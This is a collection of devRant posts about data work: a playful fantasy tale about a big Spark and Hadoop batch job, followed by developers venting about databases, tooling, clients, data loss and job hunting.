"Guys, we must not fuck this up." (actual quote)
For the leader of the witchers had just returned from a war council at the capitol of the province. There, heading a table boarding the Archpriest of Accounting, the Augur of Economics, the Marketing Spymaster and Admiral of the Fleet, was the Ciefoh Seat himself.
They had heard rumors about the Order of the Witchers' battles and operations. They wanted to know more.
It was quiet that night in the flat and cloudy plains of Cluster of Sparks and Storms. The Ciefoh Seat had ordered the thunder to stay silent, so that the forces of whole cluster would be available for the Witchers.
The cluster had solid ground for Hive and Parquet turf, and extended from the Connection River to farther than the horizon.
The Witcher Who Writes, seated high atop his war-elephant, looked at the massive battle formations behind.
The frontline were all war-elephants of Hadoop, their mahouts the Witchers themselves.
For the right flank, the Red Port of Redis had sent their best connectors - currency conversions would happen by the hundreds, instantly and always updated.
The left flank had the first and second army of Coroutine Jugglers, trained by the Witchers. Their swift catapults would be able to move data to and from the JIRA cities. No data point will be left behind.
At the center were thousands of Sparks mounting their RDD warhorses. Organized in formations designed by the Witchers and the Priestesses of Accounting, those armoured and strong units were native to this cloudy landscape. This was their home, and they were ready to defend it.
For the enemy could be seen in the horizon.
There were terabytes of data crossing the Stony Event Bridge. Hundreds of millions of datapoints, eager to flood the memory of every system and devour the processing time of every node on sight.
For the Ciefoh Seat, in his fury about the wrong calculations of the processes of the past, had ruled that the Witchers would not simply reshape the data from now on.
The Witchers were to process the entire historical ledger of transactions. And be done before the end of the month.
The metrics rumbled under the weight of terabytes of data crossing the Event Bridge. With fire in their eyes, the war-elephants in the frontline advanced.
Hundreds of data points would be impaled by their tusks and trampled by their feet, pressed into the parquet and hive grounds. But hundreds more would take their place. There were too many data points for the Hadoop war-elephants alone.
But the dawn will come.
When the night seemed darker, the Witchers heard a thunder, and the skies turned red. The Sparks were on the move.
Riding into the parquet and hive turf, impaling scores of data points with their long SIMD lances and chopping data off with their Scala swords, the Sparks burned through the enemy like fire.
The second line of the sparks would pick data off to be sent by the Coroutine Jugglers to JIRA. That would provoke even more data to cross the Event Bridge, but the third line of Sparks were ready for it - those data would be pierced by the rounds provided by the Red Port of Redis, and sent back to JIRA - for good.
They fought for six days and six nights, taking turns so that the battles would not stop. And then, silence. The day was won, all the data crushed into hive and parquet.
Short-lived was the relief. The Witchers knew that the enemy in combat is but a shadow of the troubles that approach. Politics and greed and grudge are all next in line. Are the Witchers heroes or marauders? The aftermath is to come, and I will keep you posted.4 -
I'm rid on the intern. She's been moved to the data team.
My manager actually apologised to me multiple times for the stress they put me through and admit they made a mistake.
Apparently the intern is doing better in the data team, which is good. I am glad she's gone, because it was shitty for both of us. -
Around a decade ago, I was fiddling with ajax in jQuery. This piece of code had me stumped for around 2 days, why? Because success is written with 1 final S in my native language...
$.ajax({
'succes' : function(data) { },
});7 -
Hiring a third party to help us with something...
Third party: yeah okay, we know what we need. Can we get access to your git repo
Me: sure, I'll make sure you'll get it
(To the admins): hey can you get them access to our git server?
Admins: did they sign the personal data processing contract?
Me: oh they won't work with any personal data. It's a dev server and they only need access to the source code. And the usual contracts and NDAs are already done
Admins: well we still need the other one.
... Sure. Why not. Just delays the start of the process for... Like a week and a half until that useless bit of paper has passed through all the necessary departments. Not like time's an issue. Right?8 -
Wasted all morning trying to work on my defense. Brain is not responding. Then sat for some data exploration cuz I got tired of wasting time and brain is like "woah! I love this! Let's do this!". 😐
My defense is gonna be a shitshow. FML. ☠️1 -
what the fuck is up with devs who always send screenshots of code and/or log files? In Slack, which has great functionality for formatting text snippets in a variety of languages and data types?! screenshots of code are really a pet peeve lately. You can't copy the text or click on any urls or do *anything* with a fucking screenshot. so dumb.6
-
One of our customers wants our mobile app to log out the user after 15 minutes of inactivity because of SeCuRiTy…
Why? The phones protect the apps with their hardware encryption from any malicious access.
And we are not dealing with super sensitive data here like some banking app or so.
Why do some people want to have bad UX for no reason?12 -
I was 1 hour into an 8 hour data warehouse build on my VM, when Windows popped up with a dialogue informing me that it would initiate Shut Down in 10 minutes. No button to Cancel or Delay, just “Okay”.
To Microsoft, I offer a hardy Dickensian “GOOD AFTERNOON, SIR!”4 -
IT CAN'T BE THAT HARD
1) A CONTROLLER RETURNS HTTP RESPONSES, computed using data received from
2) A SERVICE\MANAGER\YOURMOTHER, which fetches data from a DB\external service\whatever
LITERALLY 2 FUCKING STEPS. I'LL TAKE THAT "SENIOR" IN YOUR TITLE AND CHISEL IT ON YOUR FOREHEAD SO YOU'LL REMEMBER WHAT YOU'RE SUPPOSED TO BE WHEN YOU COMMIT THIS FUCKING GARBAGE2 -
My God is map development insane. I had no idea.
For starters did you know there are a hundred different satellite map providers?
Just kidding, it's more than that.
Second there appears to be tens of thousands of people whos *entire* job is either analyzing map data, or making maps.
Hell this must be some people's whole *existence*. I am humbled.
I just got done grabbing basic land cover data for a neoscav style game spanning the u.s., when I came across the MRLC land cover data set.
One file was 17GB in size.
Worked out to 1px = 30 meters in their data set. I just need it at a one mile resolution, so I need it in 54px chunks, which I'll have to average, or find medians on, or do some sort of reduction.
Ecoregions.appspot.com actually has a pretty good data set but that's still manual. I ran it through gale and theres actually imperceptible thin line borders that share a separate *shade* of their region colors with the region itself, so I ran it through a mosaic effect, to remove the vast bulk of extraneous border colors, but I'll still have to hand remove the oceans if I go with image sources.
It's not that I havent done things involved like that before, naturally I'm insane. It's just involved.
The reason for editing out the oceans is because the oceans contain a metric boatload of shades of blue.
If I'm converting pixels to tiles, I have to break it down to one color per tile.
With the oceans, the boundary between the ocean and shore (not to mention depth information on the continental shelf) ends up sharing colors when I do a palette reduction, so that's a no-go. Of course I could build the palette bu hand, from sampling the map, and then just measure the distance of each sampled rgb color to that of every color in the palette, to see what color it primarily belongs to, but as it stands ecoregions coloring of the regions has some of them *really close* in rgb value as it is.
Now what I also could do is write a script to parse the shape files, construct polygons in sdl or love2d, and save it to a surface with simplified colors, and output that to bmp.
It's perfectly doable, but technically I'm on savings and supposed to be calling companies right now to see if I can get hired instead of being a bum :P20 -
Someone should definitely collect all the rants of devRant and fine tune an existing model with that data so it’s able to produce new rants. I wonder what it would come up with 🤔9
-
I lost 2TB of family photos and videos a few years ago by dropping a single hard drive. Nearly all of it was later found on people's computers who forgot to clean them up when we got the NAS. I'm not so eager to delete data once it's backed up ever since.3
-
I recently tried to apply the same data analytics rationale that I use at work to my personal life. This is not a rant, it is more like an data storytelling of an actual use case I would like some input on.
I set a goal - gotta thin up a bit and calm down my ticker - and got a (almost unreasonably expensive) field expert consultant to yell at me about it for a couple hours.
I unravel the metrics - there is like a million weight-related KPIs and most say nothing at all. I have never seen an non-infrastructure measurable subject that could not be resumed to 2-5 performance metrics. I got overall weight, how well my nine-years-old business suit fits me, heart rate, and day-after relative muscle pain (it will make sense soon).
Then its data-pipeline time. I bought a cheap weight scale and smartwatch, and every morning I input the data in an app. Yes, I try to put on the suit every morning. It still does not fit.
After establishing a baseline, I tried to fit different approaches. Doing equipment-free exercises, going to the gym, dieting. None was actually feasible in the long run, but trying different approaches does highlight the impacts and the handling profile of each method.
Looking at the now-gathered data, one thing was obvious - can't do dieting because it is not doable to have a shopping list and meals for me and another for the family.
Gym is also off the table - too much overhead. I spend more time on the trip there and back than actually there.
And home exercise equipment is either super crappy or very expensive. But it is also the most reasonable approach.
So it is solutions time. I got a nice exercise bycicle (not a peloton), an yoga mat (the wife already had that one) and an exercise program that uses only those two resources. Not as efficient without dieting, not as measurable and broad as the gym, but it fits my workflow. Deploy to production!
A few months pass and the dataset grows. The signal is subtle but has support - it works! The handling, however, needs improvement, since I cannot often enough get with the exercise program. Some mornings are just after some hard days.
I start thinking about what else I can improve in the program, but it is already pretty lean and full of compromises.
So I pull an engineer and start thinking about the support systems and draft profile. What else could be draining my willpower and morning time?
Chores. Getting the kids ready for school, firing up the moka pot, setting the off-brand roomba, folding the overnight-dried clothes, cooking breakfast, doing the dishes, cleaning the toilets. All part of my morning routine. It might benefit from some automation.
Last month I got that machine our elders call "wasteful" and "useless crap lazy entitled Americans invented because they feel oh-so-insulted for simply doing something by hand like everyone always did" - a "dish-washer".
Heh, I remember how hard was to convince my mother-in-law that an remote-controled electric garage door would not make she look like an spoiled brat.
Still to early to call, but I think that the dishwasher just saved me about 25 mins every morning. It might be enough to save willpower for me to do more exercise.
This is all so reflective of all data analytics cases really are out in the wild - the analytics phase seems so small compared to the gathering and practical problem-solving all around. And yet d.a. is what tells you that you are doing the wrong thing all along. Or on what you should work next.7 -
Headhunter called about a rejection for an assignment I did:
Assignment had malformed data examples
Assignment had unrealistic timespan for completion
Assignment used item stocks for a shop setup
Assignment didn't use any prices just item stocks
Who builds a webshop without prices in the first place?
So done with this job hunting assessment bullshit.3 -
Late night kaggle session, and I'm enjoying how cute and clean this dataset is!
I'm jealous if data scientists always get to work with such neat sets! Dude! I got .95 acc without any effort! This is so... Weird. 🤔4 -
The company I'm working for now (fortunately as a consultant) is now rebuilding its data structure. To do so they chose to use YANG :)
What next breakthrough technology should we go for, coffescript?3 -
What is it about robot collected data that makes researchers so anal? Like, dude, it's not even personal data. It's literally robot's joint motor recordings. It's not nuclear data, so why the fuck do you protect it like your life and your country depend on it?
I hope you get fisted by that data every night and how it will end up in oblivion sooner because you didn't publish it. You asshole.8 -
At work I inherited some databases, were most of the tablecolumns are all varchar. No ID's, and everything is in one table. No relation tables no reference data. Because "we don't trust the users who fill the tables to understand relationships". And.. wtf.4
-
"Hey can you make this excel report for me real quick? Here are the columns, you gotta get them from this table in the database. Shouldn't take long."
Alright, sounds easy enough wait where is the data. I have to join how many tables? What is this bullshit data? I want to strangle the guy who modeled this piece of garbage.5 -
I am building my portfolio website and added a contact section. In the API call to the backend, I am logging potential API failures to Firebase Analytics. Is it ethical to include the request data (content of the contact form) in log data?5
-
Forgive me devLords, for I have sinned.
Today, I took while() loop and made it true, it was a dirty ordeal, however it's not entirely my fault, you see the api I called doesn't have a webhook of any kind and doesn't return results in real time either, you have to poll for them..... so here I am writing while(true){} to poll for results that could take seconds or even hours to finish.
😟11 -
[NN]
Day3: the accuracy has gone to shit and continues to stay that way, despite me cleaning that damn data up.
Urghhhhhhhh
*bangs head against the wall, repeatedly*10 -
What the hell is WRONG with Windows 10. Why does it need so much storage space? I get to only use 219+38.6+13.8 GiB and Windows gets to use 564 GiB of data to piggyback on data and storage space to push nonsense updates to user who do not want them. Use your own fucking servers, MS. I wish this fucking OS burns in hell.10
-
We specified a very optimistic setup for a data science platform for a client....
Minimum one machine with a 16 core CPU with 64GB RAM to process data.....
Client's IT department: Best we can do is an 8 core 16GB server.
Literally what I have on my laptop.
Data scientist doesn't use any out-of-memory data processing framework, e.g. Dask, despite telling him it's the best way to be economical on memory; ipykernel kills the computation anyway because it runs out of memory.
Data scientist has a 64GB machine himself so he says it's fine.
Purpose of the server: rendered pointless.5 -
Today a client opened a ticket saying that all the content for a customer returns 404. Turns out it's kinda important to end a prefix on a separator if you plan to recursively delete all data /user/<user_id> or you might end up deleting a bit of extra data1
-
Was working on an algorithm a few months back. I was not liking how long it was taking to process some data. A colleague of mine said: "Just throw out the data that is past a certain distance. You don't need it." At first I was shocked. Throw out data... Seemed so wrong at the time. He was correct, and it made sense. What was I saving it for? Posterity?1
-
The first time I've used JPA and Lombok annotations and suddenly didn't have to bother about getters and setters anymore and pretty much persisted my whole data tables with no effort.
Total game changer for me. -
Multi-continent low-latency auto-scaling eventually-consistent kubernetes-orchestrated and spark-powered multi-cloud data-plarform.
(Note to self: why do jargon words always come in twos?)
But seriously, the engine ELT's naval and logistical data from every continent and ocean and feeds a global analytics platform for less then 0.25 USD per ingested Gb across all systems.
And sometimes the PODs are even onboard en-route ships! Edge computing, y'all!
Tech project I'm most proud of.3 -
https://dr.03j.de/
Maybe I'm gathering statistics every hour of your score.
Alle angaben ohne gewähr (All data without warranty)
But why are most of you loosing points?19 -
Stakeholder: Can you investigate the problem with this user profile? We made updates to system A, but user is saying it’s the wrong info on the website.
Me: Looks fine to me. Looks like your updates just needed time to trickle down. Though, you will need to clean up this user’s data because it can cause X problems. There’s not much I can do since the site just displays info from system A.
SH: Can you delete the user’s website account and we can ask user to create a new one?
Me: …Ok, let’s try this again. It’s not necessary to delete the account and make the user create a new one. It’s not going to resolve the X problems that I mentioned. The website really needs clean data from system A.1 -
One of our servers had a disk fail this week. Luckily it's 1 of 3 in a RAID5 array. And, luckily, it was our mostly-dev box and didn't have any production stuff on it, except for some support things. We scheduled a disk replacement with the hosting company, took everything down, waited. Somebody at the hosting company apparently didn't know we'd scheduled the replacement, saw the machine was down, and brought it up again. Sigh. Finally they did the replacement, got it back up, but now we're seeing an ethernet port flapping, suggested they have someone go in and make sure all the jacks are fully seated, maybe one got loose when they were doing the disk switch. Bureacracy reared up again and we got the boilerplate "if there's a hardware issue suspected please boot into rescue mode and run the tests"... sigh...8
-
i started a project a couple months ago and i used ORM for the queries, cause it's already implemented. thing is, this project came directly from hell and the math is stupid af. it requires subqueries in subqueries and the data that was provided is trash. I'm giving up on the ORM, it's not scalable.
-
In the next three months, if I said jackshit about data science personal projects, you have my permission to backhand me into oblivion.
Need to stay on my current track...7 -
My phone has a useless Google Discover page on home screen that I can't use without singing in with Google and agreeing to them collecting data. 😐
So now I have a useless page on my home screen. (Really, somebody needs to make a layering over app for this shit that just gets my preferred feed and fill it here to makes use of this space. )11 -
RethinkDB is such a rediculous overengineered BIGGEST BULLSHIT I HAVE EVER UNFORTUNATELY USED.
Does anyone even use this total shit????
This shit eats RAM memory for just 1 CRUD operation as if you opened 10,000 google chrome tabs. Who the fuck thought that kind of technology is a good idea?
Yes it IS very fast, a real time database. But you'd have to have a multi-million dollar supercomputer to be able to handle so much data like a relational database can....5 -
GraphQL fans, please read the whole rant until you jump in the comments.
I get it, when you have multiple data sources (that aren't always proper databases), your stuff is relevant.
But most of the people use GraphQL when they have a single database. In that case, native joins are always faster than GraphQL dataloader N + 1 BS you have. It takes less time and less code to go to the backend and write an endpoint for the frontend with a DB query than write several GraphQL ones on the frontend and then combine the data with imperative JS. It will work faster too.
So why the fuck should I use GraphQL at all?29 -
This fucking internal tool does not have any CLI capabilities, so to open each file i need to and get the data i have to manually hit 'File -> Open' select the file, then double click
Then high light the data i want and copy out what I need
If there was even just a cli to cycle over the fucking files to open each in their own instance it would be a good deal less fucking tedious and annoying
Like how the fuck do you not allow passing in a file name on cli to open like fuck i have to do this 40 fucking times FUCK i get this tool is originally from the fucking 90's but still you push updates every 3 months for the databases it accesses at least let me fucking pass in a fucking file to open it from cli3 -
I want to do something data-science-y.
Gimme project ideas, and where can I get the data for it?
Also, not looking for machine learning, just basic data analysis stuff.
I'm bored.11 -
I find GPT3/ChatGPT an interesting development but at the same time I'm afraid which the spread of deep learning is going to take away further power from individuals and small companies to put it in the hands of big tech companies: the only ones who can afford to hoard countless GPUs/TPUs and exabytes of data to train top performing AIs.9
-
48 hours.
We had 3 weeks of "manual data collection": pencil, paper and a dozen of people around all the offices of the company with the task to collect serial numbers of every piece of equipment used.
Then we had 3 weeks of data entry, a dozen of people copying all handwritten data to a custom made VB form.
And then there was me, the guy that was in charge of verifying, zipping and sending the data to the client. I spent 48h non stop to go through everything, finding, fixing or delete unusable data.
I had to delete at least 25% of the data because incomplete or completely unusable (serial numbers too short or too long, for example).
48h in the office.
The data was then delivered to the customer. 2 days after, when I finally woke up, everyone was in panic because:
- serial numbers were not matching
- addresses were wrong
- the number of delivered records was smaller than expected
What did I learn from this experience?
When your deadline is tomorrow, and you need 4 weeks to complete your work, ignore the deadline and inform everyone at any level that you are ignoring the deadline. And then resign and find a better job.
Ah, yes, pencils and paper are powerful tools, but rat poison too. You just need to use them in the right place. The only data collection that can be trusted when done with a pencil is the one involving checkboxes.1 -
How must it feel to build pagination for the partner list in a cookie consent popup? Did the dev realize that they and their company are the primary reason for the GDPR? That they are the ultimate bad guys of online privacy, even worse than accumulators like Google who process their data in-house?
-
After all the rants I've written on this topic, no, no, fuck no. I ain't answering jackshit. The trauma is very real. I'm trying to not have a panic attack just remembering few of the times I've lost work, personal data, side projects, accounts, you name it.
Oh dear God it's hard to breathe...5 -
I dont understand the Log4j vulnerability.
Isnt the ability to execute code a feature they added so that you can add dynamic data to the logs?
If it is a feature then isnt it written in the documentation?
Is the problem that a lot of companies forgot to sanitize the input before logging it?23 -
The customer wanted a calendar view that somehow contained data about fucking everything.
Ended up looking like a bunch of trash icons on a calendar1 -
in my previous company , we used to create 4 custom ui states for just 1 screen in android app, and we would have task to create 3-4 new feature screens in 1 sprint (of 14 days) the states would be :
empty state : a state where data is not available. usually consisted of message, a graphic and some action button
data state : the usual state where data is filled on various elements
loading : a shimmer ui showing loading. it was supposed to be pixel perfect to that of the data state. it was basically a different xml, but with grey colored views instead of colorful. the tricky part would usually he to create the dynamic views
error/no connection state : as most of the screens couldbget api error or no internet error, this would be the screen for asking user to retry connection
all of these screens combined with their ui in xmls + kotlin code with barely any stuff being reusable , made the life incredibly difficult. however a lot of our customers would appreciate the interactivity of our app
doing these stuff again nd again , i had become trained to do all those 3-4 (x4) screens and the whole ui stuff in first 4 days of the sprint. but now i am in a company where i am getting passed on to managers after managers and getting tasks to change documentation in 1 week, i find those coding stuff incredibly tough.
gotta get back to shape -
I’m either going crazy or someone just dropped a table from a database I’m actively working in. I don’t have a drop script for any tables in my code, not anywhere. One moment it’s right there, the next it’s gone? Luckily it’s pretty much empty, only generic data. On my way to check permissions.6
-
boss: someone fix these it's not working *3 problems highlighted on screenshot*
problem 1: something went wrong when updating the data, i fixed it in a minute
problem 2: not our problem, send an email
problem 3: wait isn't this the task *boss* handles?2 -
After all the pain I just went through trying to get this workflow to pass config data, I'm gonna relax by writing overly fancy config file documentation.
LET THERE BE BOX CHARACTERS!
┏┓
┗┛ -
My key ring :)
An old friend (remember the guy who had a miniature Red hat?), gave me an old RAM from a work machine (he worked in data center team).
We had many spare ones so, I picked one and been using it since then.
Photo in comments because dR is fucking up the resolution.5 -
I dun goofed
made a neural net that runs against a simulation. Wanted to run it overnight to get some meanigful stats and insights
But yesterday afternoon I changed something in the simulation and ofc tested it without the nn ... and then forgot to put it back on
So while I expected to come in today and start plotting and analyzing the data while the runs finish, in reality I'm sitting here on a lot of useless data, not knowing what to do.
I kinda want to just start it again and go home7 -
Follow-up on https://devrant.com/rants/5001553/...
How the fuck are Jupyter notebooks so popular in research? Like some dude had an idea to take perfectly good markdown and python code, add a whole lot of transitional properties to make version control impossible, encode it as JSON on the assumption that a human could somehow look at it and make sense of countless escaped characters and base64 encoded data, create dedicated software people need to install in order to read what used to be simple plain text, and think "This. This is what 99% of data researchers will use from now on." And somehow, overwhelming majority of researchers agreed that this extremely inefficient data format is the best there is and they should develop all their tools around it.11 -
I'm still using .then().catch() instead of the async await.
So, first of all, Fuck you for calling it a STANDARD now. its nowhere near to be called standard. You wanna get some data from an API? Wanna call it using axios or fetch? What if the server is down? what if there's an error that you don't even know existed? Where do I get that kinda error in async await? try-catch? no thanks :| I'm good -_-8 -
Let's say you're working on a web application, and you notice that one of the pages is not displaying the correct data. You investigate further and realize that the data is being retrieved from an API endpoint, but for some reason, the API is returning the wrong data.
You start looking into the code that calls the API and notice that it's passing in the correct parameters, so you dig deeper into the API code itself. After hours of poring over the code, you finally discover that the bug is caused by a typo in the database query that the API is using to retrieve the data.
You fix the typo and think the problem is solved, but then you realize that the data is still not displaying correctly on the page. After even more investigation, you discover that the bug is actually being caused by a caching issue on the client side.
At this point, you're feeling incredibly frustrated and overwhelmed. You've spent hours trying to track down this bug, and it feels like every time you think you've found the root cause, another issue pops up. This is just one example of the many challenges that developers face on a daily basis.3 -
This last week I have been so excited about Artemis going around the moon. This is the kind of stuff that people need. Stop bickering about bullshit. There is a universe to explore!
I saw parts of the flyby today and it was really really cool. I hope NASA is getting incredible data from this. I cannot wait until we send people there again. Probably better to use robots, but going there in person is cool. -
I would have never considered it but several people thought: why not train our diffusion models on mappings between latent spaces themselves instead of on say, raw data like pixels?
It's a palm-to-face moment because of how obvious it is in hindsight.
Details in the following link (or just google 'latent diffusion models')
https://huggingface.co/docs/... -
Amazon Web Services has the worst naming among clouds.
They have "Aurora" and "Athena". Both services relate to data. Both are woman's names. Both start with "A".
Amazon, what's wrong with you?13 -
Data scientist 🥼 out there. I've got this data where some of its columns have n-sized integer vectors for content for each row. Their data is of qualitative value. There's no scale or distribution to them, it's all random and discreet absolute values. Is getting all unique values for all those vectors and turning those into dummy variables a bad idea? Should I turn it into graph data?
Or there are other ways of decreasing my dataset dimensions? Mind you I can't change the dataset's indexing.5 -
If I pipe data from a command using sudo to another that doesn't the second command isn't root right?5
-
It's 2022 and mobile web browsers still lack basic export options.
Without root access, the bookmarks, session, history, and possibly saved pages are locked in. There is no way to create an external backup or search them using external tools such as grep.
Sure, it is possible to manually copy and paste individual bookmarks and tabs into a text file. However, obviously, that takes lots of annoying repetitive effort.
Exporting is a basic feature. One might want to clean up the bookmarks or start a new session, but have a snapshot of the previous state so anything needed in future can be retrieved from there.
Without the ability to export these things, it becomes difficult to find web resources one might need in future. Due to the abundance of new incoming Internet posts and videos, the existing ones tend to drown in the search results and become very difficult to find after some time. Or they might be taken down and one might end up spending time searching for something that does not exist anymore. It's better to find out immediately it is no longer available than a futile search.
----
Some mobile web browsers such as Chrome (to Google's credit) thankfully store saved pages as MHTML files into the common Download folder, where they can be backed up and moved elsewhere using a file manager or an external computer. However, other browsers like Kiwi browser and Samsung Internet incorrectly store saved pages into their respective locked directories inside "/data/". Without root access, those files are locked in there and can only be accessed through that one web browser for the lifespan of that one device.
For tabs, there are some services like Firefox Sync. However, in order to create a text file of the opened tabs, one needs an external computer and needs to create an account on the service. For something that is technically possible in one second directly on the phone. The service can also have outages or be discontinued. This is the danger of vendor lock-in: if something is no longer supported, it can lead to data loss.
For Chrome, there is a "remote debugging" feature on the developer tools of the desktop edition that is supposedly able to get a list of the tabs ( https://android.stackexchange.com/q... ). However, I tried it and it did not work. No connection could be established. And it should not be necessary in first place.7 -
"It is pointless to use just a fraction of the data in a homologation environment"
Those words reveal the truth in our creed.
We work in the deepest of back-ends to serve the front.
No data is true. Everything can be edited.
We are Data Engineers.
And for those words to take hold, a junior must execute a leap of faith, and push a hotfix into production.5 -
I upgraded a Linux server one time and data that was serialized in yaml stopped being parsed properly.
It turns out the libyaml people decided to change how hashes were handled, which made any previous hashes come back as blank.
A whole database of valid data in dev was coming back invalid in prod. It was maddening.
It took a day to figure out the problem and how to update the data to the new format in rails.
I now serialize in json.11 -
OK my salary as medical doctor went into shit, Im not joking im in ASEAN 3rd world country
SWITCHING TO DATA ENGINEER
wish me luck18 -
In other to sharpen my algorithm and data structure skill.
I implemented the complete *eval()* function for arithmetic Expression in java
It can compute any kind of arithmetic Expression even with parenthesis grouping
Here is the github repo
https://github.com/Afrographic/...1 -
Data scientist will be replaced by AI. If AI is good at one thing, it’s analyzing data. After all, that’s what AI is about, analyzing data and giving output.6
-
Found interesting Google Maps link showing places in the USA where you can still get gas for $2:
https://google.com/maps/search/...1 -
Your code is 6ix9ine. Stupid, meaningless lines, and also a snitch, selling data left and right.
My code is always MF DOOM.2 -
So there's azure data studio, shiny! nice!
Oh hey, wow, an Oracle extension! Great!! Now I can use one tool for all my database queries!
But wait...
Below is the list of current limitations:
- Server management and dashboard are not supported
- Packaged objects are not supported
- Table data preview/editing is not supported
- Query execution is not supported
So you're telling me that you can connect and... that's it?
What's the point? Why??
That's like saying: Here's a toaster. But here's the thing's you *can't* do:
- Toast bread
But at least you can look at it. Seriously, what the ****.6 -
Hello, today was my First day, internship at Microsoft innovation center BE, a great day with amazing people, my project is called tech Office, we need to process data from sensors in the office, create and use Microsoft AI to optimize and help the office become smarter and more efficient. Make the life better and the environment more productive. I don't really know where to start but I'm happy to be given such an opportunity and will do everything to make this work !
-
was developing a custom website for a friend, coz i primised him id do so.
but when i actually developed it i felt lazy midway so i made one table store json strings and used it for every type of data he has on his website.
everything works fine and fast, its nothing he would notice but...
am I going to hell?9 -
I don't know how much of this can be considered data loss but one one of my uni classmates frustrated by some hellish tasks (cleaning some old code files probably) decided that everything in that particular directory won't be of any further need, so she procede to rm -rf it.. only to discover that the terminal opened in that dir was another one and her current one (the one she bashed that unforgiving rm) was in fact a standard freshly opened term where any term would open.. in the user's (only user) home dir... such a face she had when all her codes, homeworks, projects and everything went to oblivion 😂😂 jokes aside it was a good thing that the semester was almost finished, all hws submited and no important data was there as she dual booted with ubuntu and some windows, but funny thing how such a honest mistake can ruin not only your day, but maybe your entire semester1
-
Tech people should have a codeword. So that I don't have to explain to every data provider showing off their own crappy limited analytics tool that "I do know what SQL means and I just need the ODBC user/pass, thanks".
I wish I could just say "hey, &0x00A0 = 1337;" out loud and he would be like "oh, thanks! I needed the break. Here is the ODBC crap, I'm gonna grab some coffee."5 -
I can now appreciate some design decisions behind react-redux after witnessing some angular OOP clusterfuck.
I am sure there is some clean/correct way to code in angular, but everyone is treating angular as java.
Some angular application (the one I have to work with) is littered with network calls. It's difficult to spot duplicates. People usually resolve promises everywhere. In services, in a top-level component, or in for loops. In react, people use apollo/redux-query or redux-saga to handle network calls. Since these libraries prevent duplicate network calls internally and reassigning apollo network call function or redux action function is always useless, it's easy to spot all network calls in a component tree.
In angular, it's difficult to trace data mutations when data can be updated everywhere. In react, you can easily find UI state updates by tracing state hooks/dispatch/apollo usages.
In angular, it's difficult to trace data pipeline. Since everything is imperative by default, people need to add update functions in data subscriptions. With all the littered mutations. Soon you will lose track of what the fuck is going on.
I hope angular get the agonizing death it deserves and fuck everyone who codes JS OOP clusterfuck UI.11 -
As a tech lead i sometimes find it very hard to defend developers for no fault of theirs.
Management is completely incapable of noticing hard data like git logs or action items updated on an excel and seems to have an idea that the devs are incompetent , but the ba that sets impossible goals and crap business documentation is competent.
Should i just let the project and juniors burn.3 -
New excuse for not doing work:
"taking data"
My dev system is tied up taking data for an hour to store data for a replay system I intend to build. I need raw data from the system. I need to know how much data I will collect in an hour as well. I also need to collect said data. For about an hour. This data will be fed back into the system sans the data collection. This will allow me to replay whole jobs that our field techs perform. If they get me data I can reprocess the data and fix my positioning algorithms. Kinda fun!
So the excuses are now up to 2:
"compiling"
and
"taking data"9 -
I rewrote a giant VBA workbook (lots of business formulas, custom pivots of the data) into Java apps/microservices so that new tabs, other reports can be easily added using (JSON) data from the other apps.
In general, I was the only dev in the team that understood that monoliths are hard to change or scale... -
How to destroy all table data:
* Get a database;
* Add the first table;
* Add the second table;
* Create a foreign key in second table that delete a record where there is a delete in the first table;
* Update all data in the first table with a REPLACE command.
Miracle: all data is lost5 -
PIM systems https://dinarys.com/blog/... provide a centralized location for businesses to store and manage their product data, including descriptions, specifications, images, and other important information. PIM systems are designed to improve the accuracy and consistency of product data across multiple channels, including e-commerce websites, marketplaces, print catalogs, and other marketing materials.
They help businesses ensure that their product information is up-to-date, complete, and relevant to their target audience. Here are some of the key benefits of using a PIM system: Centralized data management: PIM systems provide a single location for businesses to store and manage their product data. This makes it easier to ensure that the data is accurate, consistent, and up-to-date across multiple channels.
Improved data quality: PIM systems help businesses ensure that their product data is accurate, complete, and relevant to their target audience. This can lead to improved customer experiences and higher conversion rates. Increased efficiency: PIM systems automate many of the processes involved in managing product data, such as data entry, formatting, and translation. This can save businesses time and reduce the risk of errors. Greater scalability: PIM systems are designed to handle large amounts of product data and can scale as businesses grow and add new products. PIM systems are particularly useful for businesses that sell products across multiple channels and need to ensure that their product data is accurate and consistent across all channels. They can help businesses improve their operational efficiency, reduce costs, and improve the customer experience.6 -
Learning an algorithm and data structure for a month and forgetting about it after exploring a new language be like🤦4
-
The bygone clowns have started their new project. I look at the FAQ page. It's literally lies, because I know what they've done so far.
"We've had thousands of clients!" no they haven't, lie.
"We estimate approximately % of customers..." they don't have enough data to support that, lie.
Since when did marketing become lying?
God I hate this planet.7 -
Alright so
I made an infinite post board.
Infinite in the sense that every post will be on this board, spiraling from position 0 0
I haven’t got a domain but here’s the address:
138.197.71.184
Not built for mobile and may later wipe data because it’s still in testing phase
Anyone who wants to register and leave a post is welcomed to do so10 -
Here is a gem I found when looking at the previous offshore team's database.
So apparently they didn't know that SQL has an ALTER TABLE command to add new columns. So they created a brand new table, version 2, THEN migrated all the data over, every single time a new field was needed.
Then of course they had to update all their code that previously looked at the original table and the clients had to resync data onto the tablets as well.
Maybe they thought it was a good solution since they don't know what database versioning is (something they also manually implemented) or that ORMs exist.
**Sanitized the table names but kept the general structure, casing, etc
CREATE TABLE [dbo].[TVP_NameHere] AS TABLE(
[NameTime] [datetime] NULL,
[NameId] [int] NULL,
[somethingId] [int] NULL,
[fooId] [int] NULL,
[Time] [int] NULL
)
CREATE TABLE [dbo].[TVP_NameHereV002] AS TABLE(
[NewColumnHere] [int] NULL,
[NameTime] [datetime] NULL,
[NameId] [int] NULL,
[somethingId] [int] NULL,
[fooId] [int] NULL,
[Time] [int] NULL
)3 -
I need to make a legacy Java monstrosity asynchronous and came across a class which is currently making me cry blood.
It took our whole team 5 days to figure out how this thing works, including the weekend. At one place, It is adding an empty list, to another list.
The magic here is that if I remove the statement assigning data to the sub list, the data is still somehow being populated in the root list.
This clusterfuck somehow works in single threaded processing, but as soon as I make this multi threaded, all hell breaks loose.
Please send help!!1 -
Started working for a new company as a data lead, created a couple of basic lambda functions for a pipeline... 5 approvals and three weeks later the functions haven't even been pushed to UAT (which I'm not allowed access to).. Have I been lucky before or is this dysfunctional..?
-
! rant, but should I be concerned?
I'm writing an election results API and I imported the bottlepy+pandas and prepped the CSV that contains the data. The first row contains the column names, followed by the actual data.
As I typed my routes, VSCode kept suggesting route names, parameters, and return values. At first I was "nice!" but then it kept suggesting my intent, as if someone was reading my brain. I do have GitHub Co-pilot installed, but I didn't realize my access had been approved.
How many layers of tin foil do I need?3 -
